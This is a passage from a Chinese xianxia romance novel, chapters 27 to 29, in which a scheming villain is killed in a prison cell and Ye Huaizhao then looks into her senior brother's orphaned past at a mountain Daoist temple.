明亮的光碎在少女湿润的眼眸中,赵清浔盯着面无表情的庾慎,一字一顿,重复说:“那些你做的事情,我一个都不会认。” “即便是死,我也不会像狗一样地被你圈在后院。” 摇曳的烛火“唰”地一声熄灭,黑暗笼罩牢房,锁链在乌黑的石壁上撞出一声一声的脆响。 庾慎像是第一次见到她一样,认认真真地打量着神色决绝的少女。 好半晌,他忽地弯了弯唇角,轻飘飘说:“阿浔,我最爱的人就是你了,我怎么会让你像狗一样圈在院中呢?” 赵清浔怒目而视:“庾大公子是听不懂人话吗?我说了,我不会认下那些罪、我也不会跟你走!” “你想去揭发我?”庾慎置若罔闻,一步一步走过去,强硬而缓慢地抱住她,任由对方狠狠咬在自己脖颈上,也只是微微蹙眉说,“没有人会信你的。” “还是说……”他忽地一把揪住赵清浔的头发硬生生将她推在石壁上,极亲密地说,“你在等着徐规来救你呢?” 赵清浔眼中的泪水不受控制地滚落,她睁大了眼睛,像是不可置信地看着说出这句话的男人。 而庾慎低头挨近她,额头抵着她的额头,声音轻柔,语气却如毒蛇般嘶嘶吐气。 “他发现了我们的秘密,想要将你从我身边带走,可又斗不过我……”他笑了一声,“于是,他假装被‘魔族’劫走,这样一来徐家人必定会逼迫城主向长风门写信求助。而这时,他再利用长风门的修士,一举揭露我。” 他垂下眼睑,看着一动不动的少女,似笑非笑说:“这就是那天他越过徐家的侍卫,翻墙来到你屋中同你说的计划,对不对?” 赵清浔浑身僵硬,她的头皮被扯得生疼,此时却分毫没有意识,只死死盯着说出这句话的男人。 庾慎抬起手指,轻轻擦过她唇角沾染的鲜血,慢慢说:“他很聪明,知道要绕过乐寿城的势力来牵制我。” “可惜,也仅限于此了。” 赵清浔喉咙发紧,挤出一句话:“……你做了什么?” 庾慎古怪地笑了一下:“阿浔觉得,叶仙君和乘玉仙君,会是踏灵境魔将的对手吗?” 庾慎本不想对叶怀昭和谢迟云动手的,毕竟这两人一个是掌门之女、一个是掌门首徒,都不是他能得罪起的人。 可他不想动手,叶怀昭对他却总有一种似有似无的恶意。 他只想将徐规杀了,但——谁让他们要烂好心地去救他呢? 明知那是他放出来的陷阱,却依旧要跳下去,那生死如何,就不怪他了吧? 更何况,和他做交易的那位魔将,似乎本就与叶怀昭有仇。 他眯了眯眼眸,微笑着说:“不用担心,他们都会死在那里的。” 赵清浔瞳孔骤然紧缩,几乎是瞬间便意识到他想做什么,想都不想一脚踹向他的身下,趁着对方吃痛的瞬间跌跌撞撞地就想向外跑。 可她没跑两步,便被表情可怕的男人抓着胳膊狠狠掼在桌上,熄灭的烛台噼里啪啦地滚落在地上,而赵清浔本人更是顾不得后背火辣辣的痛,拼尽全力地挣扎。 “滚开!” “只要一会便好了,”庾慎喃喃着,一手按着挣扎的少女,另一只手拿出符箓,灵力悄悄探出,“只要一会……你就能永远都离不开我了。” 赵清浔的眼前开始一阵阵地发黑,她挣扎着想要推开庾慎,却手脚发软,一丝力气也没有。 她真的要一辈子都被拘在他的身边吗? 她真的永远无法逃离吗? ——不,我不要! 她眼中猩红色的光一点一点亮起,魔气在牢房中节节攀升,不受控制的恶意在她的心中肆虐,转瞬便让她猛地抬头。 “阿浔!!!” 一道惊慌失措的声音自牢房外传来,赵清浔眸光一闪,忽地抿唇拉过自己身上的男人,不知从何而起的力量硬生生将他拽起。 “噗嗤——” 尖厉长剑没入血肉的声音在牢房中响起,纷乱的脚步声骤然一顿。 庾慎脸色的阴戾还未散去,转瞬就被茫然替代。 他低下头,看着自胸前贯穿的长剑,嘴唇颤抖,想要说什么。 而这时,身后少年“唰”地一下抽出长剑,鲜血自他的唇边喷出。 最终,只有一句“阿浔”,逸散在他的唇边。 庾慎双膝一软,“嘭”地一声倒在地上。 赵清浔瞳孔颤抖着,慢慢抬头,看向满身血污的少年。 “……徐规?” 少年的脸上都是鲜血,狼狈不堪的样子像是从乱葬岗中滚出来似的,却对她露出一个呆呆的笑,磕磕巴巴说:“阿、阿浔……” “——这么热闹?” 一道清甜的女声自他的身后响起,一身桃红衣裙的少女拨开拦路的徐规,诧异地看着在场的两人。 “诶,庾慎死了?” 叶怀昭看了看满身魔气逸散的赵清浔,又看了看提着剑傻傻站着的徐规。 她意味深长地笑了一声,随手将一个死不瞑目的人头扔到庾慎的身旁。 那个人头在地上咕噜咕噜滚动,最后停在庾慎面前,露出一张青白惊恐、眉间一点赤红的魔族脸庞。 “师兄 ——“叶怀昭转身向身后的白衣男人叫道,“你的委托可以结束啦。” 第27章 第二十七章“你猜,他为何这时去清风…… 听到声音闯进来的狱卒看见面前的一幕,差点两眼一黑直接昏倒在地。 他的同伴险而又险地把他拉住,眼睛瞪着了无生息的庾家大公子,又看向疑似凶手的徐家二公子,颤抖着声音说:“快、快去请城主大人!” 狱卒连滚带爬地去叫人了,而牢房中的其中两人尚且还没从原本的氛围中回神。 叶怀昭没理会傻站在原地的徐规,而是打量了几眼赵清浔,出声说:“你体内的魔气暴动了,不要紧吗?” 赵清浔回过神,摇摇头说:“无事,过一会就好了。” 她说道:“我是半魔,对魔气掌握得不甚熟练,魔气混乱或者灵力混乱是常有的事,仙君不必担心。” 半魔皆是半身魔骨半身灵脉,也就是说既可使用魔气,亦可使用灵力,端看自身对哪一方力量更为敏感。 不过大部分半魔都不会两者随意使用,因为这样很容易让两种截然不同的力量在体内发生对抗,稍有不慎甚至可能直接爆体而死。 叶怀昭又多看了她几眼,确定她的周围的灵力魔气波动尚在可控范围内后也就不管了。 她指了一下地上的庾慎,侧目看向徐规说:“你认为是你杀的他?” 她的话语在此时颇为微妙。 方才进来时,所有人都看到了庾慎和赵清洵的争执。 可之后,又是所有人都看到了徐规出手一剑捅穿庾慎的胸膛。 这件事情既可以被描述为“赵清洵将庾慎推至徐规剑下,徐规来不及收手,意外导致他的死亡”,亦可以成为“徐规找到了机会,故意出手杀了庾慎”。 庾慎该死不假,但死在谁的手中,所产生的影响可是极为不同的。 在场的人都没有傻子,叶怀昭相信他们知道自己的这句话到底以意味着什么。 果不其然,赵清洵张张口刚要说什么,直接被她身前的徐规打断了:“是我杀的他。” 他抬起头,青青紫紫的脸上写满执拗和笃定:“我知道你想说什么,阿洵。但庾家不会为了一个罪孽深重的废子对我怀恨在心,可若是你,他们不会放过你的。” 他一字一顿道:“更何况,我本就想杀了他。” 他的一番话直接让本欲说些什么的赵清洵怔住。 好半晌,她才喃喃着说:“你根本没有必要……做到这种地步的。” “究竟什么是必要,什么是没必要?”徐规反问她,“若是我的选择可以让你获得想要的东西,对我而言,这就是必须要做的事情。” “庾慎想将你困在他的身边,将他作为你的唯一的选择,但我偏就要你想做什么就做什么、拥有你本该拥有的选择权利。” 叶怀昭微微抬首,饶有兴趣地看了一眼神色理所当然说出这句话的少年。 她想起方才在地洞中的情形—— 魔族被她和谢迟云牵制住,无法亲自去杀了徐规,于是改用幻境,试图让他在虚幻的意识中自己杀死自己。 叶怀昭去救他的时候偶然瞥见了一眼他的幻境。 那是九百九十九个可能发生的芥子世界,而徐规在那九百九十九个可能发生的芥子世界中,没有一次和赵清洵在一起过。 他放弃了九百九十九次将她困在身边的选择。 而现在,是第一千次- 之后的事情如同叶怀昭预料的那样,进展得极为迅速。 庾慎利用魔族杀人的证据并不难找,只是之前徐家针对着赵清洵,而赵家又对这个流淌魔族血脉的子嗣并不重视,这才让庾慎成功将黑锅转移到了赵清洵的身上。 现下他被徐规一剑捅死,徐大公子为了不让自己的弟弟担上杀人罪行,可谓是倾尽全力地配合城主府的调查,甚至默许了徐规去找赵清洵的行为—— 因为在徐规的说辞中,是赵清洵告知徐规庾慎想对他动手,并且和他联合做了一场戏,成功救下了本该死在庾慎手中的徐规。 救命之恩,即便徐大公子之前再厌恶赵清洵“勾引”自己弟弟,也不得不捏着鼻子认了。 叶怀昭来乐寿城后根本没有歇脚,抓到凶手后就开始处理后续,每天忙得脚不沾地。 桑春在叶怀昭去找徐规前就想和她聊聊,从第一天等到第二天又等到第三天,终于在第六天时,在城主府中抓到了闲来无事的叶怀昭。 二话没说,叶怀昭直接被桑春强行拉到屋中、按在椅子上。 而做完这事后,桑春如临大敌似的又出去左右看了看,进门时重新在四周落下隔音的阵法。 叶怀昭给自己倒了杯水,半开玩笑说:“你这是做什么?想要将我灭口?” 她想了想,认真说:“我建议你再加一道禁止窥视的阵法,你这隔音的阵法拦不住我师兄的。” 桑春面无表情地盯了她一眼,竟然真的转头又去加了一道阵法。 叶怀昭端着茶盏的手顿住,惊诧而古怪地瞧着她:“不是吧,你拦得真的是谢迟云?真想将我在这灭口?” 忙活了半天才坐下的桑春被她没心没肺的表情气笑了,一把将她手中的茶盏夺过来,恶狠狠地瞪了她一眼:“小没良心的,合着就我还惦记着你来乐寿城的目的?” 叶怀昭本就口干舌燥还被她抢了倒好的水,当下瘪了瘪嘴,委屈说:“我没忘啊,但这不是没顾及到吗?” 桑春被她这幅神色看得发毛,又将茶盏重新塞回她的手中,无语说:“我看你不是没顾及到,而是直接被谢迟云收买、直接乐不思蜀了。” 她可还没忘记几天前叶怀昭和谢迟云在城主府中的搂搂抱抱。 最讨厌的人——哈,哪个人会因为自己最讨厌的师兄身体“可能”出了问题所以急得直接上手、上蹿下跳的? 桑春暗自腹诽,嘴上说:“前些日子你不是说自己是在清风观中和谢迟云相识的么,还说他是‘乱葬岗里爬出来的鬼’——我找到了一些关于你师兄身世的线索。” 虽是来放松心情的,但桑春这几日也不是什么都没做。 凭借见人说人话、见鬼说鬼话的天赋,她成功在城主府中混了个脸熟,甚至和城主家的小姐成了至交好友,从她那里得知了不少本不该她知道的密辛。 这其中自然包括十三年前的春日,长风门掌门夫人携其幼女来此修养的旧闻。 叶怀昭眼睛一亮,拉着她的手感动道:“小春,你真是我最靠谱的朋友,以后你若是找我看病,我一定给你削价!” 桑春面无表情说:“你应该祝我永远不会来找你看病。” 叶怀昭悻悻收回自己的手。 桑春于是接着说:“十三年前,你的母亲万夫人为了探望旧友,带着你来到乐寿城小住了几日。” “但是在你们即将离开之时,南境和魔界的交界处出现异动。万夫人带着长风门的弟子前往调查,不方便照顾你,就将你放在清风观托一个道士照顾。” “而那年凡间恰好发了雪灾,冻饿者无数,再加上魔界动乱,有很多人流离失所、无家可归。”桑春停顿一瞬后说,“清风观中收留了不少孤儿,你与谢迟云相识或许就是发生在此时。” 叶怀昭微微睁大眼睛:“你说……我师兄是个孤儿?” “只是猜测,”桑春道,“你那句‘像是乱葬岗中爬出来的鬼’‘应当不是凭空捏造的,我觉得只有这样才稍微符合一些这个形容。” 叶怀昭其实从未想过谢迟云或许是个孤儿的可能。 毕竟,他看上去实在不像是一个野蛮生长、无人教导的孩子。 他温润知礼、进退有方,即便是驭人之术对他而言似乎也并不陌生。 并非是说只有出身富贵的孩子才会懂得这些,只是在他身上更多地表 现出一种自小习得、像是喝水吃饭般的自然从容。 他的师尊叶珩可以教授他仙家术法,但他作为一派掌门,并没有那么多的时间过多关注自己徒弟的成长。 胡思乱想间,叶怀昭听到桑春说:“但他并不是自己来到长风门的。万夫人当年和你从乐寿城离开、回到长风门时,也将谢迟云带进山了。” 桑春看着她:“万夫人下山过许多次、救过很多身世凄惨的孩子,可带人回来却是头一遭。” 几乎是瞬间,叶怀昭听懂了她的言下之意: 她的母亲万秋遥是个善良温柔的人,在她有能力的情况下,她从不吝于救死扶伤。 可她的善良也有限度,并非是毫无保留,她从不会轻易替他人做选择、为他人改变命运。 但就是这样一个人,却在一群孤儿中单独将其中一个带回了宗门。 也就是说在她母亲眼中,谢迟云有不得不带回长风门的理由。 ——是什么理由? 叶怀昭下意识地想。 像是看出了叶怀昭心中的困惑,桑春向后懒散倚靠在椅子中,摊开手说:“这件事可要问万夫人了。” 叶怀昭心想,可我阿娘早就已经不在了呀。 她无意识地用手指摩挲着茶盏的边缘,苦恼间,抬眼却瞥见桑春似笑非笑的眼神。 叶怀昭的动作一顿,方才被她忽略的细节忽地清晰地在她的脑海中展开。 ——话说,当年阿娘有事离开,为何要将她交给清风观的道士照顾? 望着少女慢慢变化的神色,桑春向她抬起一只右手,轻轻摆了摆。 “接下来的事情,你应当知道要去找谁询问了吧?” 她说:“顺便一提,你的师兄如无意外此时应当也在清风观中。” 眉眼疏淡清冷的少女对叶怀昭抿出一个意味深长的笑。 “猜猜看,你师兄为何挑着这时候去清风观?” 第28章 第二十八章——迎着她的目光。…… 叶怀昭的母亲万秋遥和她一样,也是一个医修。 相较于其他医修,她的母亲更擅巫毒之术。叶怀昭小时候甚至听说若是她阿娘所调配的毒药,就连她师尊时闻筝都无药可解。 只是她最后也是死在自己最引以为傲的巫蛊之毒上。 她用她的命,换来了整个南境百姓的性命。 叶怀昭对自己阿娘的记忆其实并不是很清晰,这倒不是受伤失忆的影响,而是她去世太早了,那年叶怀昭只有五岁。 在那模糊的五年回忆中,叶怀昭只知道她总是在春日从长风门离开一段时间,再毫无征兆地回来。 她知道自己五岁时的生辰并不在长风门渡过,可那时候她究竟在何处,叶怀昭没有半分印象。 但现在,她站在幽静静谧的山林中,抬头看见道观牌坊古朴沉郁的牌匾,心想: 看来,谢迟云接下乐寿城的任务并不是随意选择的。 乐寿城、或者说是清风观——一定留有他不想让其他人知道、无比在意的事情- 这一次叶怀昭走进道观时,洒扫院子的小道士换了一个人。 瞧见走进来的高挑少女,看上去大约只有十五六岁的小道士手中动作一顿,谨慎地问了一句:“……是长风门的仙君?” 这些日子中叶怀昭和谢迟云去了不少地方,大家都知道最近有两个长风门的仙君在此停留。 听到叶怀昭的应声后,小道士扔下扫帚转身就想去叫人:“仙君稍等片刻,辛监院还在做法事、张监院有事外出了,我这就去叫其他几位师爷。” “等等,”叶怀昭急忙叫住了跑得飞快的小道士,“我只是想找辛监院打听一些事情,不必这般兴师动众。” 她问道:“辛监院的法事还要多长时间结束?” 小道士掰着手指算了算:“大约一刻钟。” 叶怀昭本想去殿后等着辛道长,但她又想起来桑春在自己出门前说的那句话,于是退回来歪头道:“你有没有见过除我之外另外一个长风门的仙君来这里?” 小道士茫然地看着她,摇摇头:“没有。” 他说自己刚接替师兄来这里扫院子,至少这半个时辰中,除了叶怀昭外没有第二个仙君来清风观。 听到这句解释,叶怀昭心中倒是也没有多少遗憾。 她神色自然地应了声“好”,问清楚辛监院的位置后,婉拒了小道士的陪同,自己一个人向道观后方走。 上一次来清风观是为了调查赵清洵的事情,叶怀昭并没有怎么在清风观中停留,虽是为了找回记忆而特意看了看其中的景观,但远没有现在的闲情雅致。 远处隐约有沉闷悠远的敲钟声响起,叶怀昭踩着黑石砖慢慢走着,转角又碰见了几个比方才那个小道士年龄更小的少年。 她问了几句,得知他们是穷困潦倒、流亡到此处的孤儿,被道观中的道士们收作杂役,平日里帮忙做些杂活。 叶怀昭心中一动,问道:“清风观中,像你们这般的孤儿有很多吗?” 一个活泼外向的女孩说:“有很多啦!仙女姐姐,我认识好多哥哥姐姐都是在清风观中长大的。” 叶怀昭:“有没有在这里待得超过十三年的哥哥姐姐?” 小女孩低着头认真想了想,然后说:“也有很多,比如茵茵姐姐就在这里待了十四年。还有去当仙人的潼姐姐、被亲生母亲找回京城当大官的筠哥哥!” 后面两个人听上去已经不在清风观了,叶怀昭刚要问“茵茵姐姐”在哪里,就见刚刚还活泼爱笑的小女孩瘪了瘪嘴。 她声音低落说:“但是,茵茵姐姐在前几天不见了……辛道长说是因为茵茵姐姐去了很远很远的地方。” 叶怀昭摸了摸小女孩细软的头发,从自己的银环中摸出来几颗糖塞到她的手中。 小女孩抓着她给的糖,另只手擦了擦眼睛,小声说:“我知道辛道长在骗我们,茵茵姐姐其实是死掉了。茵茵姐姐之前就说过不能陪我过今年的生辰了,所以提前把生辰礼物送给了我。” 叶怀昭听出来不对。 这个“茵茵姐姐”,是早就知道了自己的死期? 小女孩说:“茵茵姐姐特别厉害!她不仅能在冬天升起火、还能招招手,就从桃树上摘下来好多果子!只是茵茵姐姐说她不能经常这么做,她说这样的话会很痛很痛。” 她咬着糖,含糊不清说:“……赵家的阿浔姐姐也总是这么说。” 叶怀昭若有所思地从地上站起来。 灵力透支了的确会身体疲惫、大脑刺痛。 但,什么叫“赵清洵也总是这么说”? 这位“茵茵姐姐”也像赵清浔一样深受灵力混乱的痛苦? ……难不成这也是一个半魔? 思索间,叶怀昭不知不觉又重新走到了道观后方的那片竹林中。 清风观位于乐寿山的山顶处,虽是过了晌午,但依旧有似是薄纱一般的云雾缭绕着。 翠绿笔直的竹林撑起一片绿荫,日光斑驳洒落,池塘清澈的湖水波光粼粼,一只浑身雪白的猫翘着尾巴,踩着碎叶的沙沙声走过来,又拱起背蹭着叶怀昭的小腿。 少女蹲下身,伸手摸了摸白猫的下巴,问它:“你小时候见过我吗?” 白猫高冷傲娇地瞥了一眼奇怪的人,喵了一声后跑掉了。 被留在原地的叶怀昭撑着膝盖叹息一声,无聊着捏着枯叶的叶柄转了一圈,正要转身去找辛道长,耳边却响起一道声音: “你来这里做什么?” 她回头,看到本应开坛做法事的青衣道士拢袖站在池塘边上,安静地注视着她。 面容苍老、身形消瘦的道士瞥了一眼叶怀昭的位置,而后半阖着眼冷淡道:“若是要来这抓鱼,劝你歇了这心思吧。” 他说:“池塘中的鱼早就一只不剩了。” 叶怀昭转着叶柄的手顿住。 这句话的意思是…… 少女一点一点睁大了眼睛。 她微微仰着头,像是担心将面前的一切惊扰吹散般,声音轻缓说:“我不是来抓鱼的。” 她走过去,乖乖将双手搭在微凉的栏杆上,在身旁湖水粼粼晃动的细微声响中,向道士问道:“您认识我?” 她的问题很是奇怪。 身在南境,谁会不认识长风门的叶怀昭? 但青衣道士注视着她,看了片刻后松开紧皱的眉头。 他想起来一年前修真界传得沸沸扬扬的袭击案。 据说……长风门掌门的独女在那之后失去了大半的记忆。 辛道长说:“我认识你。” 没等叶怀昭接着问,就听他淡淡说:“当年你和你师兄掉进池塘里哇哇大哭,是我把你们捞出来的。” 辛道长意味深长说:“很是印象深刻。” 叶怀昭:“……” 她尴尬地揪着袖子,强装镇定说:“多谢道长相助。” 停顿一瞬后,叶怀昭主动说:“您应该知道我来找您是为了什么吧?” 青衣道士注视着她:“你想来问我你过去的事情。” 叶怀昭点点头,问道:“所以您愿意告诉我吗?” 她的话语极为直白,脸上的表情也是没有任何掩饰期待和好奇。 辛道长已经很久没见过这么直率地便表达自己诉求的人了,一时间甚至都被震住了。 他缓缓说:“我知道的并不比你以为的更多。” 叶怀昭诚实说:“但我对此一无所知。” 辛道长不说话了。 过了半晌,他像是妥协般叹了口气,说道:“你既然找到了我,便应该知道是你母亲将你送到我身边的。” “你母亲万秋遥,勉强算是我的师妹。”他看着叶怀昭诧异的表情,解释说,“秋遥拜师的第二日,我便被逐出了师门。只算是她的一日师兄。” 叶怀昭想问为什么被逐出师门,但又觉得这个问题有些越界,于是将话重新咽了回去。 “你或许以为她每年春日来乐寿城是为了和我叙旧,但我和你母亲的关系其实并不算是很亲近,”辛道长淡淡说,“真正和她关系亲近的,是她的师妹。” “她每年来乐寿城,便是想从这里进入魔界,寻找她失踪的师妹。” “而十三年前的春天,她去调查边境异动之事,在那里她发现了谢迟云,以及……”辛道长停顿一瞬,缓缓说,“所寻之人的尸首。” 叶怀昭久久无言。 隔了许久,她才找回自己的声音:“您的意思是,我师兄是我母亲师妹的孩子?” 怪不得阿娘会特意将谢迟云带回宗门。 怪不得阿爹会对他如亲生孩子一般。 恍惚间,叶怀昭听到辛道长说:“我并不清楚谢迟云的过去经历,我只认识九岁时的他。但据我猜测,你的师兄在变故发生前,过得应当也不算好。” 叶怀昭下意识追问:“您怎么知道?” 青衣道士瞥她一眼,言简意赅道:“看出来的。” 他说:“你若是不信,不妨亲自来看。” 叶怀昭犹豫一瞬,还是走到他的身边。 淡色的灵力如云雾般在两人的身边环绕,叶怀昭强行压下自己灵识中下意识的反抗,任由那缕灵力没入眼瞳。 她眨了下眼,看到周围的一切都被云雾笼罩,朦胧模糊之间,清澈无鱼的池塘中忽地闪过几抹鲜艳的色彩。 赤红的锦鲤在水中游曳,微风卷着碧绿的叶划过池面,荡起层叠的水波。 这里依旧是清风观,可似乎又不是清风观。 怔愣间,池塘间碧色的荷叶忽地剧烈颤动,游鱼受惊地飞速逃离,而后,两个小孩从水中飞了出来,滚到叶怀昭的脚边。 “叶怀昭——” 一道含着怒意的声音响起,她抬起头,看到与现在模样没什么区别的青衣道士脚下生风,怒气冲冲地向这边走来。 他身上的灵力还没完全消散,还没多说别的,就让刚从池塘中滚出来,浑身湿透的小孩身体一抖,哇哇大哭:“呜呜呜,辛道长……我错了……” 她一边哭,一边拿胖乎乎的手去擦眼睛,豆大的泪珠断了线似的滚落,眼眶和鼻尖都红红的,瞧上去根本让人不忍心说什么重话。 但叶怀昭的眼神没在那个女孩身上停留,而是下意识看向她身边的男孩。 浅色眼珠、乌黑墨发、额间一点染血的朱砂痣。 九岁的谢迟云看上去除了五官更稚嫩圆钝外,似乎与现在没什么两样。 可叶怀昭几乎是瞬间便明白辛道长为何会说那句话。 五岁的叶怀昭自小在父母的娇惯中长大,她会哭会笑,即便是闯祸被人抓包,眼神也是柔软无害、纯然懵懂的。 但抿着唇低头拧水的九岁谢迟云与她截然不同。 他的眼神写满了不信任的冷淡漠然,他戒备着所有人,像是有一柄锋利的剑悬于他的头顶,剑柄不由他掌握,任何人都能轻易将其拽下。 他穿着不合身的衣服,湿润的水珠划过鲜艳似血的朱砂痣,顺着苍白毫无血色的脸庞轮廓滚落。他冷淡地瞥了一眼走来的大人,转身想要离去。 但他身边的女孩下意识揪住了他的衣角。 也就是在这一瞬间,叶怀昭看到,他的脸上像是应激般闪过根本不合年龄的凶狠戾气,条件反射地推开身边的女孩。 他弓起脊背,发出饱含杀意的低吼: “——别碰我!” 随着这道声音落下,十三年前的记忆轰然破碎。 山中的雨说下变下,随着一阵带着些许泥土气息的风,便有湿润的雾气在山中石阶上蔓延,雨滴砸在浓绿枝叶上,发出细碎的声响。 少女望着不断有水纹扩散的池水,许久没回神。 不知为何,她的心脏忽地重重一痛。 这不是她的情绪,或者说,这不是她对自己身体的感觉。 似是若有所觉,叶怀昭忽地调转情绪,没有使用术法,而是在心中问道: 【师兄,你在哪里?】 湿润的风带着雨丝吹到她的脸上,清凉凉的触感让她不自觉地抬起手,蹭了一下脸颊。 而就在这时,她听到自己的脑海中,传来不属于她的声音。 【抬头。】 叶怀昭放下手,看到二十二岁的谢迟云撑着伞站在树林的尽头,抬眼安静注视着她。 不知他在这里站了多久,那只从叶怀昭手中逃跑的白猫懒洋洋地缩在他的脚边,伸了一个懒腰。 叶怀昭怔愣一瞬,而后叫道:“师兄。” 云层内翻滚着闷雷,而雨水砸落时发出噼里啪啦的响声。 世间的一切在此时依旧喧嚣吵闹着,可远在竹林另一端的谢迟云依旧捕捉到,那道轻缓得融入雨声的声音。 于是他撑着伞,在朦胧细雨中走过来。 属于谢迟云温润如玉的面庞在叶怀昭的眼中越来越清晰。 而他幼时孤僻冷漠的虚影,在她的眼中一点一点驱散。 他自十三年前的那个春日,走入了十三年后的雨天。 ——迎着她的目光。 第29章 第二十九章像是一个试探、轻柔的吻…… 辛道长似乎不太喜欢和谢迟云接触,没等对方走来便对叶怀昭说自己还有事情,转身离开了竹林。 他离开得极为迅速,叶怀昭甚至都来不及阻止,青衣道士的身影便消失在拐角,留她一人和走来的师兄对视。 雨丝细密地斜斜划过眼前,在粼粼水光的池塘中落下千百个转瞬即逝的水纹。 叶怀昭按着栏杆的手指微微收紧,正要说些什么,眼前的视野忽地暗下几分。 谢迟云:“怎么不用术法?” 他一面说着,一面将自己的伞向叶怀昭的方向倾斜。 雨丝在半空中被截断,水滴顺着竹青色的伞面慢慢滚落,在两人之外圈出一层朦胧的雨帘。 叶怀昭下意识抬头,盯着伞面阴影下面容越发清晰深刻的谢迟云片刻。 她忽地出声道:“师兄为何在这里?” 或许因为心情不好,叶怀昭说话的声音带着些闷闷的鼻音。 谢迟云的视线微转,不由自主地落到少女肩膀衣袖上洇开的湿润水痕。 他的手指微动,将叶怀昭衣裙上被雨水浸湿 的部分烘去水分,抬眼时却撞见了少女带着些茫然困惑的眼眸。 他停了片刻,说:“别着凉了,师妹。” 叶怀昭小声嘀咕:“修仙者哪有那么容易着凉。” 这样说着,她还是主动向谢迟云的伞下凑去,用手肘碰了碰男人撑伞的手臂:“你还没回答我的问题呢,师兄。” 谢迟云任由她偷懒不用术法,甚至还纵容地将伞面向她的方向更加倾斜,轻声反问:“师妹为何要来这里?” 叶怀昭微微仰头,盯着他说:“师兄猜不到吗?” 谢迟云:“师妹想让我猜到吗?” 叶怀昭:“我想让你主动告诉我。” 竹林中的春雨忽地急促,水滴在石子路上溅起碎银,泥土的清香混杂着一股似有似无的檀木清香慢慢氤氲而起。 叶怀昭伸出手,指尖似有似无地擦过谢迟云持伞的手指关节,握住他手掌上方的伞柄。 她微微使力,慢慢将向她倾斜的伞柄一点一点扶正了。 少女衣袖下的手腕挂着两串银镯,随着她的动作轻轻磕碰着,发出伶仃脆响。 微凉的触感不时轻触谢迟云的指节,与方才被她指尖擦过的温热形成鲜明的对比,落下比春雨更加缠绵湿润的灼痕。 像是一个试探、轻柔的吻。 叶怀昭同他撑着伞,沾着水雾的乌黑睫羽下,是一双狡黠弯起的清透眼眸。 “——难道师兄主动出现,不是为了告诉我你来这里原因的吗?”她拖着长音问。 谢迟云:“……” 他微微眯起眼眸,像是头一次认识她一般审视地盯着伞下的少女。 她像是根本没有意识到自己现在与一个男人贴得有多么近,也像是根本没意识到这个男人在几日前,甚至反抓着她的手腕,将她按在石壁上的事情。 但或许她意识到了,只是不在意。 是因为这是永远不会伤害她的“师兄”,所以才不在意的吗? 谢迟云微微垂眼,淡淡扫了一眼叶怀昭握着伞柄的右手。 ……还是说,只要是她认为没有危险、不会伤害她的男人,就都不在意? 叶怀昭并不知道他在这短短一瞬间思索了什么。 她只知道对方的眼神慢慢变得幽暗深晦,其中流淌着她看不懂的情绪。 叶怀昭歪头,听到谢迟云在沉默半晌后,说:“本是要探望故人的。” “只是,我来得迟了一步。” 叶怀昭微微一愣。 她的大脑飞速转动,忽地想起来那个小女孩口中提到的“茵茵”姐姐。 她迟疑地开口:“你说的那个人,是不是一个叫‘茵茵’的姑娘?” 谢迟云看向叶怀昭:“师妹知道她?” 见叶怀昭点头,谢迟云平静道:“她叫简茵,是一个半魔。” 这是叶怀昭在乐寿城中听说的第二个半魔。 只是这两个半魔一个病痛缠身、一个魂归黄泉。 但这也是绝大多数魔族的命运。 越是灵力或魔气感知敏锐、天资聪颖的半魔,反而会因为两者的紊乱而早早死去。 唯有庸碌平凡的半魔,才能勉强苟活于世。 所以也有人认为半魔本就不是应该存活于世的种族,因为他们无法控制自身的力量,反而会对他人造成伤害。 叶怀昭对半魔倒是没有什么意见。 要说起控制不住力量伤害他人的事,又不是只有半魔会发生。就连修真界前些年都发生过某个接近飞升的大能修道不慎灵力暴动,几乎让大半个门派弟子灰飞烟灭的事情。 雨势渐渐变小了,叶怀昭的灵盘嗡嗡震动两声,是桑春在催她回来。 她来清风观的目的已经达成,虽说没有完全弄清楚谢迟云的身世,可这本就不是一蹴而就的,叶怀昭并不着急。 更何况相较于一下子全部得知结果,还是一点一点、撬开紧闭贝壳、珍珠慢慢显露的过程更让她兴致勃勃。 地洞中发生的事情已经改变了叶怀昭对谢迟云的认知。 她想要探寻谢迟云的过去,可出于一种说不清道不明的畏惧心理,她又在抗拒着真相的获取。 甚至偶尔她会觉得,如今这种情况还是谢迟云有意默许的。 他为她放出一点线索,而她默契地寻找,却始终在最终答案前停下脚步。 就像谢迟云没有说自己为何与一个半魔是故友。 而叶怀昭也没有主动询问。 她主动延缓了真相的探寻。 – 下山时叶怀昭和谢迟云走了山路。雨后的石阶湿润易滑,法事散去后,一个老婆婆便不小心摔了一跤。 叶怀昭将她崴到的脚踝医治好,而谢迟云不知从哪摸出来一张符纸小人,灌入灵力后将老婆婆背下山去。 石阶上很快又只剩下不着急的两个人,叶怀昭忍了忍,还是没忍住说:“师兄,我怎么觉得你这里什么都有?” 当初在丹河秘境时随手就能掏出来一顶幕篱,现在不仅能随手拿出油纸伞,甚至连符修的符纸都有。 谢迟云撑起油纸伞,说道:“若是师妹在外久了,这些东西自然也会常备下。” 叶怀昭:“那可不一定。” 即便有乾坤袋存在,但叶怀昭出门还是不喜欢带过多的东西,带的最多的就是银两,缺什么就直接买。 这直接导致存放她那些杂物的房间满得难以下脚,就连叶怀昭本人近日也没有去翻找过东西。 她想着想着,忽然想到自己师尊之前提过的从丹河秘境回来后她带回来的三大箱东西,这是她花谢迟云的钱买的。 那谢迟云花她的钱又买了什么? 叶怀昭冷不丁问道:“师兄,你之前和我第一次去丹河秘境时,是不是和我打了个赌?” 谢迟云说:“师妹为何忽然问这件事?” “我好奇呀。”叶怀昭说,“所以师兄你那次用我的钱买了什么东西?” 谢迟云:“如果我说买了价值连城的珍宝,师妹会生气吗?” 叶怀昭抬抬下巴:“你先说,我再决定生不生气。” 谢迟云接着问:“可我若是说了,师妹生气了该怎么办?” 叶怀昭歪头看他,理所当然说:“那你就再哄我呀。” 她在乐寿城也和谢迟云打了一次赌,气人的是叶怀昭再一次输了。 就算叶怀昭再百思不得其解谢迟云到底是怎么一打照面就意识到庾慎喜欢赵清浔的,她也得认赌服输。 不过谢迟云也说庾慎或许并不是真正意义上的“喜欢”赵清浔,于是没有按照赌约让她将自己在乐寿城的花销全包,而是只挑了一次出门时让她掏钱。 叶怀昭当时正因为打赌打输了郁闷,根本不想去看他买了些什么,只把一袋子灵石银两甩了过去。 ……所以虽然是谢迟云赌赢了,但他事后还是又哄了自己师妹好几天。 而此时听到这句话的谢迟云哑然,停顿片刻,眼尾忽地弯起纵容的笑意。 “师妹真想知道?”他确认般地问道。 叶怀昭点头。 